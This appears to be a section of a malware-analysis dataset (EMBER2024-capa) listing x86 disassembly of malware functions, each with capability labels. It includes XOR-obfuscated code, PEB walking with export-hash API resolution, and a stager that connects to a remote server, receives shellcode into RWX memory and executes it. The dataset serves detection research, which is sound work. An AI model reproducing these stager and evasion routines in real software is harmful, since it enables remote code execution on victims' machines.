joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10019204
Capabilities:
Encode data using xor

Disassembly:
call 0x1001917d
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x100191ad
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x100191c9
xor edx, 0
jmp 0x100191d4
xor edx, edx
jmp 0x100191eb
jmp 0x100191f7
xor eax, eax
push 0x8427d7c0
call 0x10019204
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x10019240
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x10019219
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x10019257
add eax, 0
jno 0x1001925c
add esi, 0
ret 0x10

Function at 0x10019fc5
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x10019fe7
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1001a189
cmp edi, dword [ebp + 0x10]
jb 0x1001a189
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.10019ab1
inc edi
jmp 0x1001a070
jmp 0x1001a07d
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10019ab1
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10019ab1
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1001a0d1
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1001a0b5
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1001a0ff
add dword [eax], 0x39
jle 0x1001a0db
sub al, 0xf5
mov ch, al
call fcn.1001a114
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x1001bdec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1001be02
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1001be13
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1001be54
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x1001e1c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1001e109
add ebx, 0
push ecx
call 0x1001e11e
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6cbc634d
sub ebx, dword [0x6cbe5b8c]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6cbe5b7c
call fcn.10019be8
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.100190f6
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1001e27c
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1001e27c
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1001e233
mov eax, 1
lock xchg dword [0x6cbe5b88], eax
push 0x3dd1fc71
call 0x1001e1c0
push esi
add esp, 8
cmp eax, 0
jne 0x1001e1a9
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1001e1cf
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1001e1e4
cmp ecx, edx
cmp eax, 0
je 0x1001e209
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1001e1f3
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1001e222
dec eax
loope 0x1001e225
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6cbe5b88], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1001e259
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1001e26e
jmp 0x1001e279
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1001e167
Function at 0x100252e1
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100255b7
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6cbd2800
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6cbc97c6
push 0xffffffffffffffff
call fcn.1001c4e1
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1002534b
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.10025363
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100255ab
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1002557f
Function at 0x10034db1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10034dd3
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10034dd3
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10034dd3
ret
cmp word [ebx + 4], 0x14c
jne 0x10034dd3
test word [ebx + 0x16], 2
je 0x10034dd3
test word [ebx + 0x16], 0x100
je 0x10034dd3
cmp word [ebx + 0x18], 0x10b
jne 0x10034dd3
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10034dd3
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10034e5f
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10034df3
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1001bd3e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10034dd3
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x10034e5f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10034dd3
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10034dd3
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10034dd3
ret
cmp word [ebx + 4], 0x14c
jne 0x10034dd3
test word [ebx + 0x16], 2
je 0x10034dd3
test word [ebx + 0x16], 0x100
je 0x10034dd3
cmp word [ebx + 0x18], 0x10b
jne 0x10034dd3
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10034dd3
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10034e5f
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10034df3
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1001bd3e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10034dd3
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10034f16
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10034f6f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10034f16
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10034f25
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1043abc8
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10034f76
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1001bdec
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10035015
add edi, 4
add eax, 2
dec ecx
jne 0x10034f5b
call 0x10034fc2
loope 0x10034fb8
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10035012
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10035023
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10034fd6
cmp eax, ecx
ja 0x10034fd6
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10035060
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10035056
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.1001c2cb
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10034f25
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10034f6f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10034f16
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10034f25
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1043abc8
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10034f76
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1001bdec
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10035015
add edi, 4
add eax, 2
dec ecx
jne 0x10034f5b
call 0x10034fc2
loope 0x10034fb8
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10035012
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10035023
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10034fd6
cmp eax, ecx
ja 0x10034fd6
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10035060
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x10035056
lea edi, [ebp - 0x100]
push pe_nt_image_headers32
push edi
push esi
call fcn.1001c2cb
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x625c1578
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x625c15e5
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x625c15e5
mov dword [esp + 4], str.no_data
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym.dll.dll_punt
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x625c1594
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x625c15f2
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x625c1635
mov dword [esp + 4], 0x625ca057
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.dll.dll_punt
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x625c1661
mov dword [esp + 4], 0x625ca059
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.dll.dll_punt
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov word [ebp - 0x20], 2
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x625c16dc
mov dword [esp + 4], 0x625ca05c
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym.dll.dll_punt
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x625c16e1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x34
call fcn.625c18a0
mov eax, dword [sym.imp.KERNEL32.dll_FreeConsole]
call eax
call sym.dll.dll_winsock_init
mov dword [esp], sym.dll.dll_serverp
call sub.msvcrt.dll_atoi
mov dword [esp + 4], eax
mov dword [esp], sym.dll.dll_server
call sym.dll.dll_wsconnect
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jne 0x625c1759
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x625c176c
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.error_lenght_n
mov dword [esp], eax
call sym.dll.dll_punt
mov eax, dword [ebp - 0x18]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x625c17b3
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.error_in_buf_n
mov dword [esp], eax
call sym.dll.dll_punt
mov eax, dword [ebp - 0x10]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x1c]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 5]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.dll.dll_recv_all
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call eax
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x625c19c0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.625c78a0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.625c78a0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x625c1a20
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x625cd050]
test esi, esi
jle 0x625c1b40
mov eax, dword [0x625cd054]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x625c1a54
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x625c1ad7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x625c1a40
mov dword [esp], ebx
call fcn.625c2210
mov edi, eax
test eax, eax
je 0x625c1b67
mov eax, dword [0x625cd054]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.625c2350
mov edx, dword [0x625cd054]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x625c1b47
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x625c1ad0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x625c1ae0
add dword [0x625cd050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x625cd054]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x625c1ad0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.625c19c0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x625c1a5e
mov eax, dword [0x625cd054]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.625c19c0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.625c19c0
lea esi, [esi]
nop

Function at 0x625c1e80
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x625cd060
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x625cd058]
sub esp, 4
test ebx, ebx
je 0x625c1ed5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x625c1ece
test esi, esi
je 0x625c1ece
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x625c1eb0
mov dword [esp], 0x625cd060
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x625c2210
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x625c0000], 0x5a4d
jne 0x625c2235
mov ecx, dword [0x625c003c]
cmp dword [ecx + 0x625c0000], 0x4550
lea edx, [ecx + 0x625c0000]
je 0x625c2240
ret
cmp word [ecx + 0x625c0018], 0x10b
jne 0x625c2235
push esi
movzx eax, word [ecx + 0x625c0014]
push ebx
movzx esi, word [ecx + 0x625c0006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x625c0000
test si, si
je 0x625c2288
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x625c227e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x625c228a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x625c2270
xor eax, eax
pop ebx
pop esi
ret
Function at 0x4032a0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x405076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405258], eax
mov dword [0x4051e0], 0x402b80
mov dword [0x4051dc], 2
jmp 0x4032d0
mov dword [0x4051e4], 0
mov dword [0x4051e8], 0
mov dword [0x4051d8], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051ec], eax
mov dword [0x405200], 0x404080
mov dword [0x4051f8], 0xf
mov dword [0x40506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051f0], eax
mov dword [0x405204], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051f4], eax
push 0x4051d8
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405250], eax
push 5
push dword [0x405250]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405250]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x4033a3
push 0
push 0
push 0
push 0x405208
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x4033d0
push 0x405208
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x405208
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x4033a3
mov eax, dword [0x405210]
jmp 0x4033dd
call 0x402474
ret

Function at 0x40bd61
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.0040bde0
jae 0x40bd6d
xor ecx, ecx
call fcn.0040bde0
jae 0x40bd97
xor eax, eax
call fcn.0040bde0
jae 0x40bda8
mov al, 0x10
call fcn.0040bde0
adc al, al
jae 0x40bd89
jne 0x40bdd5
stosb byte es:[edi], al
jmp 0x40bd6e
call fcn.0040bdec
dec ecx
loop 0x40bdb4
mov eax, ebp
call fcn.0040bdea
jmp 0x40bdd6
lodsb al, byte [esi]
shr eax, 1
je 0x40bdfc
adc ecx, 2
mov ebp, eax
jmp 0x40bdd6
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.0040bdea
cmp eax, 0x7d00
jae 0x40bdd4
cmp eax, 0x500
jae 0x40bdd5
cmp eax, 0x7f
ja 0x40bdd6
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x40bd6e
pop ebp
ret 8